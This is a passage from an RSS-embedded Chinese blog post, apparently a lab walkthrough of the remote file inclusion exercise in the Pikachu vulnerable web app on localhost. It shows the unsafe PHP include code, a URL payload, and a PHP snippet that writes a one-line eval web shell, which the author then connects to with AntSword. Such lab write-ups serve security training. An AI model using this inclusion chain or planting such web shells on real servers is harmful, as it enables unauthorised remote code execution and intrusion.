</code></pre><p>源码分析：</p><pre data-type="codeBlock" text="if(isset($_GET[&apos;submit&apos;]) &amp;&amp; $_GET[&apos;filename&apos;]!=null){
    $filename=$_GET[&apos;filename&apos;];
    include &quot;$filename&quot;;
}
"><code><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'submit'</span>]) &#x26;&#x26; <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>]!=<span class="hljs-literal">null</span>){
    <span class="hljs-variable">$filename</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>];
    <span class="hljs-keyword">include</span> <span class="hljs-string">"<span class="hljs-subst">$filename</span>"</span>;
}
</code></pre><p>跟上面本地代码一样，变量传进来直接包含,没做任何的安全限制</p><p>打开平台，选择一个选项。同样是通过传递一个文件名进行包含的</p><pre data-type="codeBlock" text="http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&amp;submit=%E6%8F%90%E4%BA%A4
"><code>http:<span class="hljs-regexp">//</span><span class="hljs-number">127.0</span>.<span class="hljs-number">0</span>.<span class="hljs-number">1</span>/pikachu-master/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&#x26;submit=%E6%<span class="hljs-number">8</span>F%9<span class="hljs-number">0</span>%E4%BA%A4
</code></pre><p>因为这个限制只能读取txt文件,这里txt会被解析成php执行，所以我们写一个yijuhua.txt文件执行过后让他自己生成木马</p><pre data-type="codeBlock" text="&lt;?php
$myfile = fopen(&quot;yijuhua.php&quot;, &quot;w&quot;);
$txt = &apos;&lt;?php @eval($_POST[&apos;x&apos;]);?&gt;&apos;;
fwrite($myfile, $txt);
fclose($myfile);
?&gt;
"><code><span class="hljs-meta">&#x3C;?php</span>
<span class="hljs-variable">$myfile</span> = <span class="hljs-title function_ invoke__">fopen</span>(<span class="hljs-string">"yijuhua.php"</span>, <span class="hljs-string">"w"</span>);
<span class="hljs-variable">$txt</span> = <span class="hljs-string">'&#x3C;?php @eval($_POST['</span>x<span class="hljs-string">']);?>'</span>;
<span class="hljs-title function_ invoke__">fwrite</span>(<span class="hljs-variable">$myfile</span>, <span class="hljs-variable">$txt</span>);
<span class="hljs-title function_ invoke__">fclose</span>(<span class="hljs-variable">$myfile</span>);
<span class="hljs-meta">?></span>
</code></pre><h3 id="h-payload" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">payload:</h3><pre data-type="codeBlock" text="?filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt
"><code>?<span class="hljs-attr">filename</span>=http://<span class="hljs-number">127.0</span>.<span class="hljs-number">0.1</span>/pikachu-master/test/yijuhua.txt
</code></pre><p>运行之后果然产生了一句话木马文件</p><p>用蚁剑进行连接</p><p>连接成功</p>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/4e1582477ae76337c4f6348868af69a00f3163e5ef1e4f58ae6ca866f3917ca5.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>